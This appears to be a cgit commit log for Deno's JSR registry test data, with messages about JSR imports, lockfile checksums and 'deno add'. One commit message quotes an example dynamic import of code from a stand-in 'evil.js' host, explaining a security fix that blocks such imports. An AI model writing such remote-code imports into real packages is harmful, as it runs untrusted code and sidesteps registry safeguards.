summaryrefslogtreecommitdiff
path: root/tests/testdata/jsr/registry
AgeCommit message (Collapse)Author
2024-05-07chore(test): move npm registries to separate servers and to the ↵David Sherret
`tests/registry` folder (#23717) 1. Moves the npm registries to their own dedicated ports. 2. Moves the data files out of `tests/testdata/npm/registry` to `tests/registry/npm`.
2024-04-29chore: add tests for moduleGraph2 (#23603)David Sherret
Also did some renames from underscores to hyphens
2024-04-27fix(compile): certain jsr specifiers sometimes can't load (#23567)David Sherret
When returning a jsr specifier for resolve it seems like deno core does not work properly and hangs. Closes https://github.com/denoland/deno/issues/23551 Closes https://github.com/denoland/deno/issues/23139
2024-04-24feat(jsr): support importing from jsr via HTTPS specifiers (except for type ↵David Sherret
checking) (#23513) Closes https://github.com/jsr-io/jsr/issues/322
2024-04-10chore: update references to `deno_std` to use JSR (#23239)Asher Gomez
There are more uses of `deno.land/std` in the codebase, but for URL parsing purposes rather than network calls or documentation.
2024-03-28fix(jsr): exclude yanked versions from 'deno add' and completions (#23113)Nayeem Rahman
2024-03-27feat(init): use jsr specifier for @std/assert (#23073)Bartek Iwańczuk
This commit changes "deno init" subcommand to use "jsr:" specifier for standard library "assert" module. It is unversioned, but we will change it to `@^1` once `@std/assert` release version 1.0. This allows us to start decoupling `deno` and `deno_std` release. The release scripts have been updated to take that into account.
2024-02-29feat(unstable): `deno add` subcommand (#22520)Bartek Iwańczuk
This commit adds "deno add" subcommand that has a basic support for adding "jsr:" packages to "deno.json" file. This currently doesn't support "npm:" specifiers and specifying version constraints.
2024-02-29test(jsr): add tests for jsx files with and without pragmas (#22634)Bartek Iwańczuk
Follow up to https://github.com/denoland/deno/pull/22631 that asserts behavior when JSX and TSX files have and do not have pragmas with `jsx*` config.
2024-02-28fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic ↵David Sherret
import from JSR (#22623) A security feature of JSR is that it is self contained other than npm dependencies. At publish time, the registry rejects packages that write code like this: ```ts const data = await import("https://example.com/evil.js"); ``` However, this can be trivially bypassed by writing code that the registry cannot statically analyze for. This PR prevents Deno from loading dynamic imports that do this.
2024-02-21fix(publish): better no-slow-types type discovery (#22517)David Sherret
2024-02-15feat(unstable): single checksum per JSR package in the lockfile (#22421)David Sherret
This changes the lockfile to not store JSR specifiers in the "remote" section. Instead a single JSR integrity is stored per package in the lockfile, which is a hash of the version's `x.x.x_meta.json` file, which contains hashes for every file in the package. The hashes in this file are then compared against when loading. Additionally, when using `{ "vendor": true }` in a deno.json, the files can be modified without causing lockfile errors—the checksum is only checked when copying into the vendor folder and not afterwards (eventually we should add this behaviour for non-jsr specifiers as well). As part of this change, the `vendor` folder creation is not always automatic in the LSP and running an explicit cache command is necessary. The code required to track checksums in the LSP would have been too complex for this PR, so that all goes through deno_graph now. The vendoring is still automatic when running from the CLI.
2024-02-14feat(lsp): jsr support with cache probing (#22418)Nayeem Rahman
2024-02-10chore: move cli/tests/ -> tests/ (#22369)Matt Mastracci
This looks like a massive PR, but it's only a move from cli/tests -> tests, and updates of relative paths for files. This is the first step towards aggregate all of the integration test files under tests/, which will lead to a set of integration tests that can run without the CLI binary being built. While we could leave these tests under `cli`, it would require us to keep a more complex directory structure for the various test runners. In addition, we have a lot of complexity to ignore various test files in the `cli` project itself (cargo publish exclusion rules, autotests = false, etc). And finally, the `tests/` folder will eventually house the `test_ffi`, `test_napi` and other testing code, reducing the size of the root repo directory. For easier review, the extremely large and noisy "move" is in the first commit (with no changes -- just a move), while the remainder of the changes to actual files is in the second commit.